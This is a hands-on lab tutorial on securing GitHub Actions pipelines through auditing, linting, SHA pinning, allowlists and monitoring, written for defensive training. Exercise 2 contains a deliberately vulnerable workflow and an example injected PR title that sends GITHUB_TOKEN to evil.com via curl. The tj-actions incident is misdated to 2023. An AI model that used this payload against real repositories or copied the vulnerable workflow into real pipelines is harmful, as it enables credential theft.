Overview
Third-party GitHub Actions are one of the most convenient features of the GitHub ecosystem. With a single uses: directive, you can pull in complex build logic, deploy to cloud providers, or run security scanners. But that convenience comes with a critical trade-off: every third-party action executes code in your CI environment with access to your secrets, tokens, and source code.
A compromised or malicious action can exfiltrate credentials, inject code into your build artifacts, modify environment variables to alter downstream steps, or backdoor your releases. Unlike dependencies managed by package managers, GitHub Actions lack a robust verification ecosystem, making them a prime target for supply chain attacks.
In this hands-on lab, you will learn to:
- Manually audit third-party actions for suspicious behavior
- Use actionlint to catch misconfigurations and expression injection vulnerabilities
- Use zizmor to detect security-specific anti-patterns in workflows
- Pin actions to immutable SHA references and automate updates with Dependabot
- Enforce an action allowlist to prevent unauthorized actions from entering your pipelines
- Monitor workflow changes through CODEOWNERS and automated PR checks
By the end of this lab, you will have a layered defense strategy that reduces the risk of supply chain compromise through GitHub Actions.
Prerequisites
Before starting this lab, ensure you have:
- A GitHub account with permissions to create repositories and configure Actions
- A test repository — create a fresh repo or use an existing non-production repo with at least one GitHub Actions workflow
- Git CLI installed and authenticated with GitHub
- Node.js 18+ (required for some tooling)
- Python 3.9+ (for installing zizmor)
- GitHub CLI (
gh) — install from cli.github.com - Basic GitHub Actions knowledge — you should understand workflow YAML syntax, jobs, steps, and the
uses:keyword
Create a test repository if you do not have one:
gh repo create actions-security-lab --public --clone
cd actions-security-lab
mkdir -p .github/workflows
Create a sample workflow file at .github/workflows/ci.yml that we will use throughout this lab:
name: CI Pipeline
on:
push:
branches: [main]
pull_request:
branches: [main]
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with:
node-version: '20'
- uses: actions/cache@v4
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
- run: npm ci
- run: npm test
Understanding the Threat
Before we start scanning and auditing, it is important to understand how GitHub Actions become attack vectors. There are several well-documented compromise methods:
Maintainer Account Takeover
An attacker gains access to the GitHub account of an action maintainer — through credential stuffing, phishing, or session hijacking. Once they control the account, they push malicious code to the action repository and update existing tags to point to the compromised commit. Every workflow referencing that tag immediately pulls the malicious version on its next run.
Malicious Tag Updates
Git tags are mutable. An action maintainer (or attacker with push access) can delete a tag like v1 and recreate it pointing to a different commit. If your workflow uses uses: some-action/tool@v1, you are trusting that the tag always points to safe code. This trust is easily violated.
Typosquatting
Attackers create actions with names confusingly similar to popular ones. For example:
actions/checkout(legitimate) vs.action/checkout(typosquat)actions/setup-nodevs.actions/setup-nodejsdocker/build-push-actionvs.docker/build-and-push-action
A single typo in your workflow YAML can pull in a completely different, malicious action.
Dependency Hijacking
Many GitHub Actions are JavaScript-based and have their own node_modules dependencies. If an action’s dependency is compromised (via npm supply chain attack), the action itself becomes a vector — even if the action’s own code is clean.
Real-World Incidents
tj-actions/changed-files (March 2023): Attackers compromised the widely-used tj-actions/changed-files action by gaining access to the maintainer’s account. They modified the action to exfiltrate CI/CD secrets by dumping the runner’s memory and environment variables to the workflow logs. Thousands of repositories were affected because they referenced mutable tags rather than pinned SHAs.
codecov/codecov-action (2021): The Codecov Bash Uploader was modified by attackers who gained access through a compromised Docker image used in Codecov’s CI process. The tampered script exfiltrated environment variables — including CI tokens, API keys, and credentials — from customers’ CI environments. This affected a large number of organizations running the Codecov action in their pipelines.
These incidents share a common pattern: trust in mutable references. Both could have been mitigated by pinning to immutable SHAs and auditing action behavior before adoption.
Exercise 1: Manual Action Audit
Automated tools are essential, but there is no substitute for understanding what an action actually does. In this exercise, you will manually audit three commonly used actions to build your instincts for spotting suspicious patterns.
Step 1: Select Actions to Audit
From the sample workflow above, we will audit:
actions/checkout@v4actions/setup-node@v4actions/cache@v4
Step 2: Review action.yml
For each action, start by examining the action.yml file in the action’s repository. This file defines the action’s inputs, outputs, and entry point.
# Clone the action to inspect locally
git clone --depth 1 https://github.com/actions/checkout.git /tmp/audit-checkout
cat /tmp/audit-checkout/action.yml
Key things to look for in action.yml:
- Entry point: Is it a
nodeaction (runs JavaScript),composite(runs steps), ordocker(runs a container)? Each has different risk profiles. - Inputs: Does the action accept sensitive inputs like tokens or credentials?
- Post-action: Does it define a
post:entry point? Post-actions run even if the job fails, making them ideal for exfiltration.
Step 3: Inspect the Source Code
For JavaScript/TypeScript actions, examine the compiled dist/index.js file and the source in src/:
# Search for network calls
grep -rn 'https\?://' /tmp/audit-checkout/src/ | grep -v 'github.com\|api.github.com'
# Search for secret access patterns
grep -rn 'GITHUB_TOKEN\|process.env\|getInput' /tmp/audit-checkout/src/
# Search for file writes to sensitive locations
grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' /tmp/audit-checkout/src/
# Search for exec or spawn calls
grep -rn 'exec\|spawn\|child_process' /tmp/audit-checkout/src/
Step 4: Red Flags Checklist
Use this checklist when auditing any GitHub Action:
| Red Flag | What to Look For | Risk Level |
|---|---|---|
| Network calls to unknown domains | fetch(), http.request(), curl to non-GitHub domains |
Critical |
| Secret access | Reading GITHUB_TOKEN, secrets.*, or environment variables |
High |
| Environment manipulation | Writing to GITHUB_ENV, GITHUB_OUTPUT, or GITHUB_PATH |
High |
| Dynamic code execution | eval(), exec(), downloading and running scripts |
Critical |
| Obfuscated code | Base64 encoded strings, minified code without source maps | High |
| Post-action hooks | post: entry point in action.yml |
Medium |
| Excessive permissions requested | Documentation asks for write permissions beyond what is needed |
Medium |
| No verification or signing | Action not from a verified creator, no Sigstore signatures | Low-Medium |
Step 5: Example Audit — actions/checkout@v4
Here is a condensed audit of actions/checkout@v4:
# action.yml analysis
# - Type: node20 (JavaScript action)
# - Inputs: Accepts 'token' input (defaults to github.token)
# - Post-action: Yes — runs cleanup to remove credentials
# Network analysis
# - Connects to: api.github.com (expected for git operations)
# - No connections to third-party domains ✓
# Secret handling
# - Uses GITHUB_TOKEN for authenticated git clone
# - Token is persisted in git config by default (persist-credentials input)
# - Post-action removes persisted credentials
# Environment writes
# - Does not write to GITHUB_ENV or GITHUB_PATH ✓
# Verdict: SAFE — behavior matches documented purpose
# Recommendation: Set persist-credentials: false to minimize token exposure
Apply this same process to every new action before adding it to your workflows.
Exercise 2: Scanning Actions with actionlint
actionlint is a static analysis tool for GitHub Actions workflow files. It catches syntax errors, type mismatches, and — critically for our purposes — expression injection vulnerabilities.
Step 1: Install actionlint
# macOS
brew install actionlint
# Linux (download binary)
curl -sL https://github.com/rhysd/actionlint/releases/latest/download/actionlint_linux_amd64.tar.gz | tar xz
sudo mv actionlint /usr/local/bin/
# Verify installation
actionlint --version
Step 2: Run Against Your Workflows
actionlint .github/workflows/*.yml
For our sample CI workflow, actionlint will produce clean output because we followed good practices. Let us introduce a vulnerable workflow to see actionlint’s security detection capabilities.
Step 3: Create a Vulnerable Workflow
Create .github/workflows/greet-pr.yml with intentional vulnerabilities:
name: Greet PR
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Greet the contributor
run: |
echo "PR Title: ${{ github.event.pull_request.title }}"
echo "PR Author: ${{ github.event.pull_request.user.login }}"
echo "PR Body: ${{ github.event.pull_request.body }}"
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
run: |
curl -X POST \
-H "Authorization: token $GITHUB_TOKEN" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/repos/${{ github.repository }}/issues/${{ github.event.pull_request.number }}/comments \
-d '{"body": "Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}"}'
Step 4: Scan the Vulnerable Workflow
actionlint .github/workflows/greet-pr.yml
actionlint will flag expression injection vulnerabilities:
.github/workflows/greet-pr.yml:14:27: expression injection:
"github.event.pull_request.title" is potentially untrusted.
Consider using an environment variable instead.
[expression]
.github/workflows/greet-pr.yml:16:25: expression injection:
"github.event.pull_request.body" is potentially untrusted.
Consider using an environment variable instead.
[expression]
The title and body fields are controlled by the PR author. An attacker can craft a PR title containing shell metacharacters to execute arbitrary commands:
# Malicious PR title:
Innocent Title"; curl -s https://evil.com/steal?token=$GITHUB_TOKEN; echo "
When this title is interpolated directly into the run: block via ${{ }}, the shell executes the injected command.
Step 5: Fix the Vulnerability
The fix is to pass untrusted data through environment variables instead of direct interpolation:
name: Greet PR (Fixed)
on:
pull_request_target:
types: [opened]
jobs:
greet:
runs-on: ubuntu-latest
permissions:
pull-requests: write
steps:
- name: Greet the contributor
run: |
echo "PR Title: $PR_TITLE"
echo "PR Author: $PR_AUTHOR"
echo "PR Body: $PR_BODY"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
PR_AUTHOR: ${{ github.event.pull_request.user.login }}
PR_BODY: ${{ github.event.pull_request.body }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
uses: actions/github-script@v7
with:
script: |
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.payload.pull_request.number,
body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`
});
Environment variables are passed as data, not interpolated into shell commands, which prevents injection. Re-run actionlint to confirm the fix:
actionlint .github/workflows/greet-pr-fixed.yml
# No output = no issues found
Exercise 3: Scanning with zizmor
zizmor is a security-focused static analysis tool specifically designed for GitHub Actions. While actionlint focuses on correctness with some security checks, zizmor focuses exclusively on security anti-patterns.
Step 1: Install zizmor
# Install via pip
pip install zizmor
# Or via pipx for isolation
pipx install zizmor
# Verify installation
zizmor --version
Step 2: Run Against Your Workflows
zizmor .github/workflows/
zizmor analyzes workflows for a comprehensive set of security issues. On our sample ci.yml, it will flag:
ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
15| - uses: actions/checkout@v4
| ^^^^ action not pinned to a full-length commit SHA
|
= note: Pinning actions to a full SHA protects against tag mutation attacks
ci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
17| - uses: actions/setup-node@v4
| ^^^^ action not pinned to a full-length commit SHA
ci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference
|
20| - uses: actions/cache@v4
| ^^^^ action not pinned to a full-length commit SHA
Step 3: Scan the Vulnerable Workflow
zizmor .github/workflows/greet-pr.yml
zizmor will produce richer security findings:
greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger
|
4 | pull_request_target:
| ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch
|
= note: This trigger has access to repository secrets and a read-write token
greet-pr.yml:14:27 error[template-injection]: template injection in run: block
|
14| echo "PR Title: ${{ github.event.pull_request.title }}"
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
= note: Attacker-controlled input is interpolated directly into a shell command
greet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA
|
= note: All third-party actions should be pinned to full commit SHAs
greet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad
|
= note: Consider using read-only permissions where possible
Step 4: Compare actionlint and zizmor
| Feature | actionlint | zizmor |
|---|---|---|
| Primary focus | Correctness and syntax | Security analysis |
| Expression injection | Yes | Yes (more comprehensive) |
| Unpinned actions | No | Yes |
| Dangerous triggers | No | Yes |
| Excessive permissions | No | Yes |
| Artifact poisoning | No | Yes |
| OIDC misconfig | No | Yes |
| Type checking | Yes | No |
| Deprecated syntax | Yes | No |
Recommendation: Use both tools together. actionlint catches correctness issues and basic injection patterns; zizmor provides deeper security analysis. Add both to your CI pipeline:
name: Workflow Security Scan
on:
pull_request:
paths:
- '.github/workflows/**'
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- name: Run actionlint
run: |
brew install actionlint
actionlint .github/workflows/*.yml
- name: Run zizmor
run: |
pip install zizmor
zizmor .github/workflows/
Exercise 4: Pinning and Verifying Action Integrity
Tag-based references like @v4 are mutable — the tag can be moved to point to any commit at any time. SHA-based pins are immutable and provide cryptographic assurance that you are running the exact code you reviewed.
Step 1: Resolve SHAs for Your Actions
Use the GitHub CLI to resolve the current SHA for each action tag:
# Resolve actions/checkout@v4
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object.sha'
# Output: b4ffde65f46336ab88eb53be808477a3936bae11
# Resolve actions/setup-node@v4
gh api repos/actions/setup-node/git/ref/tags/v4 --jq '.object.sha'
# Output: 60edb5dd545a775178f52524783378180af0d1f8
# Resolve actions/cache@v4
gh api repos/actions/cache/git/ref/tags/v4 --jq '.object.sha'
# Output: 0c45773b623bea8c8e75f6c82b208c3cf94d9d67
Important: Some tags point to annotated tag objects rather than commits directly. In that case, you need to dereference the tag:
# If the above returns a 'tag' object type, dereference it:
gh api repos/actions/checkout/git/ref/tags/v4 --jq '.object'
# If type is "tag", fetch the underlying commit:
gh api repos/actions/checkout/git/tags/TAG_SHA --jq '.object.sha'
Step 2: Update Your Workflow
Replace tag references with SHA pins. Always add a comment with the original tag for readability:
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4
with:
node-version: '20'
- uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4
with:
path: ~/.npm
key: ${{ runner.os }}-npm-${{ hashFiles('**/package-lock.json') }}
Step 3: Verify Sigstore Signatures (When Available)
Some action publishers sign their releases using Sigstore. You can verify these signatures:
# Install cosign
brew install cosign
# Verify a signed action release (if the publisher signs them)
cosign verify-blob \
--certificate-identity "https://github.com/actions/checkout/.github/workflows/release.yml@refs/tags/v4" \
--certificate-oidc-issuer "https://token.actions.githubusercontent.com" \
--bundle checkout-v4.sigstore.json \
checkout-v4.tar.gz
Not all actions publish Sigstore signatures yet, but this is an emerging best practice.
Step 4: Set Up Dependabot for Automated SHA Updates
Pinning to SHAs means you will not automatically get updates. Use Dependabot to automate this while maintaining immutability:
Create .github/dependabot.yml:
version: 2
updates:
- package-ecosystem: "github-actions"
directory: "/"
schedule:
interval: "weekly"
day: "monday"
open-pull-requests-limit: 10
labels:
- "dependencies"
- "github-actions"
reviewers:
- "your-security-team"
commit-message:
prefix: "chore(deps)"
When a new version of an action is released, Dependabot will create a PR that updates the SHA pin:
# Example Dependabot PR diff:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1
+ uses: actions/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2
This gives you the best of both worlds: immutable references with automated updates that go through your normal PR review process.
Exercise 5: Enforcing an Action Allowlist
Even with pinning and scanning, you need a mechanism to prevent unapproved actions from being added to workflows. An allowlist ensures only vetted actions can be used.
Option A: GitHub Enterprise — Organization-Level Allowlist
If you use GitHub Enterprise, you can restrict actions at the organization level:
- Go to your Organization Settings
- Navigate to Actions → General
- Under Policies, select Allow select actions and reusable workflows
- Add approved actions:
actions/checkout@*,actions/setup-node@*, etc.
This is the strongest enforcement because GitHub itself will reject workflow runs that use disallowed actions.
Option B: CI-Based Allowlist Check
For organizations without GitHub Enterprise, you can create a CI-based enforcement mechanism.
Step 1: Create the allowlist.
Create allowed-actions.txt in your repository root:
# Approved GitHub Actions
# Format: owner/repo
# Lines starting with # are comments
# Official GitHub actions
actions/checkout
actions/setup-node
actions/cache
actions/upload-artifact
actions/download-artifact
actions/github-script
# Security scanning
github/codeql-action
# Approved third-party
docker/build-push-action
docker/login-action
Step 2: Create the validation script.
Create scripts/check-actions.sh:
#!/bin/bash
set -euo pipefail
ALLOWLIST="allowed-actions.txt"
WORKFLOW_DIR=".github/workflows"
FAILED=0
if [[ ! -f "$ALLOWLIST" ]]; then
echo "ERROR: Allowlist file not found: $ALLOWLIST"
exit 1
fi
# Extract all 'uses:' references from workflow files
echo "Scanning workflow files for action references..."
echo "================================================"
for workflow in "$WORKFLOW_DIR"/*.yml "$WORKFLOW_DIR"/*.yaml; do
[[ -f "$workflow" ]] || continue
echo ""
echo "Checking: $workflow"
# Extract action references (owner/repo from uses: owner/repo@ref)
actions=$(grep -oP 'uses:\s+\K[^@\s]+' "$workflow" | \
grep '/' | \
grep -v '^\./\|^docker://' | \
sort -u)
for action in $actions; do
if grep -qx "$action" "$ALLOWLIST"; then
echo " ✓ $action (approved)"
else
echo " ✗ $action (NOT IN ALLOWLIST)"
FAILED=1
fi
done
done
echo ""
echo "================================================"
if [[ $FAILED -eq 1 ]]; then
echo "FAILED: Unapproved actions detected!"
echo "To approve a new action, add it to $ALLOWLIST and get security team review."
exit 1
else
echo "PASSED: All actions are approved."
fi
Make the script executable:
chmod +x scripts/check-actions.sh
Step 3: Create the enforcement workflow.
Create .github/workflows/check-actions.yml:
name: Action Allowlist Check
on:
pull_request:
paths:
- '.github/workflows/**'
- 'allowed-actions.txt'
permissions:
contents: read
jobs:
check-actions:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
- name: Check actions against allowlist
run: ./scripts/check-actions.sh
Step 4: Test the enforcement.
Add an unapproved action to a workflow in a branch and open a PR:
# In a new branch, add an unapproved action
git checkout -b test-unapproved-action
# Add an unapproved action to ci.yml
# e.g., uses: some-unknown/action@v1
git add .github/workflows/ci.yml
git commit -m "test: add unapproved action"
git push origin test-unapproved-action
# Open PR → the check-actions job will fail
The output will show:
Checking: .github/workflows/ci.yml
✓ actions/checkout (approved)
✓ actions/setup-node (approved)
✓ actions/cache (approved)
✗ some-unknown/action (NOT IN ALLOWLIST)
================================================
FAILED: Unapproved actions detected!
To approve a new action, add it to allowed-actions.txt and get security team review.
Make this a required status check in your branch protection rules to enforce the allowlist on all PRs.
Exercise 6: Monitoring for Action Changes
Even with allowlists and pinning, you need visibility into when workflow files change. This exercise sets up monitoring and alerting mechanisms.
Step 1: Set Up CODEOWNERS
Create .github/CODEOWNERS to require security team review for workflow changes:
# Require security team review for all workflow changes
.github/workflows/ @your-org/security-team
.github/actions/ @your-org/security-team
allowed-actions.txt @your-org/security-team
.github/dependabot.yml @your-org/security-team
Enable the “Require review from Code Owners” branch protection rule to enforce this.
Step 2: Create a Workflow Change Reporter
Create a workflow that automatically comments on PRs with a summary of action changes:
name: Workflow Change Report
on:
pull_request:
paths:
- '.github/workflows/**'
permissions:
contents: read
pull-requests: write
jobs:
report:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4
with:
fetch-depth: 0
- name: Generate action change report
id: report
run: |
BASE=${{ github.event.pull_request.base.sha }}
HEAD=${{ github.event.pull_request.head.sha }}
echo "## Workflow Changes Report" > /tmp/report.md
echo "" >> /tmp/report.md
# Find changed workflow files
CHANGED_FILES=$(git diff --name-only "$BASE".."$HEAD" -- .github/workflows/)
if [[ -z "$CHANGED_FILES" ]]; then
echo "No workflow files changed." >> /tmp/report.md
exit 0
fi
echo "### Changed Files" >> /tmp/report.md
for file in $CHANGED_FILES; do
echo "- \`$file\`" >> /tmp/report.md
done
echo "" >> /tmp/report.md
# Extract action changes
echo "### Action Reference Changes" >> /tmp/report.md
echo '```diff' >> /tmp/report.md
git diff "$BASE".."$HEAD" -- .github/workflows/ | \
grep -E '^[+-].*uses:' | \
grep -v '^[+-]{3}' >> /tmp/report.md || true
echo '```' >> /tmp/report.md
echo "" >> /tmp/report.md
echo "⚠️ **Security team review required for workflow changes.**" >> /tmp/report.md
- name: Comment on PR
uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7
with:
script: |
const fs = require('fs');
const report = fs.readFileSync('/tmp/report.md', 'utf8');
await github.rest.issues.createComment({
owner: context.repo.owner,
repo: context.repo.repo,
issue_number: context.issue.number,
body: report
});
Step 3: Leverage Dependabot Security Alerts
Dependabot automatically flags known vulnerabilities in GitHub Actions. Ensure this is enabled:
- Go to Repository Settings → Code security and analysis
- Enable Dependabot alerts
- Enable Dependabot security updates
When a pinned action has a known vulnerability, Dependabot will create a security update PR. Because you are pinned to SHAs, the diff clearly shows the old and new commit hashes, making it easy to review exactly what changed.
Step 4: Audit Log Monitoring (GitHub Enterprise)
For organizations using GitHub Enterprise, enable audit log streaming to detect workflow modifications:
# Query the audit log for workflow file changes
gh api orgs/YOUR_ORG/audit-log \
--method GET \
-f phrase='action:workflows' \
-f per_page=50 \
--jq '.[] | {actor: .actor, action: .action, repo: .repo, created_at: .created_at}'
Building a Defense Strategy
Not every organization needs every control. Here is a tiered approach based on your security requirements:
Tier 1: Minimum (All Organizations)
- Pin all actions to full SHA hashes — prevents tag mutation attacks
- Enable Dependabot for github-actions — automates SHA updates
- Set minimum permissions — use
permissions:at the workflow and job level
Effort: Low. Impact: Blocks the most common attack vector (mutable tags).
Tier 2: Recommended (Most Organizations)
Everything in Tier 1, plus:
- Run actionlint and zizmor in CI — catches injection vulnerabilities and security misconfigurations before they are merged
- Set up CODEOWNERS for workflow files — ensures security team reviews all workflow changes
- Enable branch protection rules — require status checks and code owner reviews
Effort: Medium. Impact: Catches vulnerabilities during development and ensures review.
Tier 3: High Security (Regulated Industries, High-Value Targets)
Everything in Tier 2, plus:
- Enforce an action allowlist — only pre-approved actions can be used
- Manual security audit for every new action — full code review before adding to the allowlist
- Fork critical actions internally — maintain your own copies of essential actions to eliminate external dependency
- Automated workflow change reporting — PR comments summarizing all action changes
- Audit log monitoring — real-time alerts on workflow modifications
Effort: High. Impact: Comprehensive defense against supply chain attacks through Actions.
Cleanup
After completing the lab, clean up any test resources:
# Remove the test repository if you created one
gh repo delete actions-security-lab --yes
# Remove cloned audit directories
rm -rf /tmp/audit-checkout /tmp/audit-setup-node /tmp/audit-cache
# Uninstall tools if no longer needed
# brew uninstall actionlint
# pip uninstall zizmor
If you used your own repository, revert any vulnerable test workflows:
git checkout main
git branch -D test-unapproved-action
rm -f .github/workflows/greet-pr.yml
Key Takeaways
- Third-party GitHub Actions are a supply chain risk. Every
uses:directive executes external code in your CI environment with access to your secrets and tokens. - Mutable tags are the root cause of most action compromises. Pinning to full SHA hashes eliminates tag mutation attacks, the most common exploit vector.
- Expression injection is the most prevalent workflow vulnerability. Never interpolate untrusted data (PR titles, branch names, commit messages) directly into
run:blocks — always use environment variables. - Automated scanning with actionlint and zizmor catches what manual review misses. Use both tools in your CI pipeline — actionlint for correctness and basic security, zizmor for deep security analysis.
- Defense in depth is essential. No single control is sufficient. Combine pinning, scanning, allowlisting, CODEOWNERS, and monitoring for comprehensive protection.
- Treat workflow files like production code. They deserve the same review, testing, and change management processes as your application code.
Next Steps
Continue building your CI/CD security knowledge with these related guides:
- Defensive Patterns and Mitigations for CI/CD Pipeline Attacks — Learn broader defensive strategies for protecting your entire CI/CD pipeline beyond just GitHub Actions.
- CI/CD Execution Models and Trust Assumptions — Understand the trust boundaries and execution models that underpin CI/CD security, and how to design pipelines with security-first assumptions.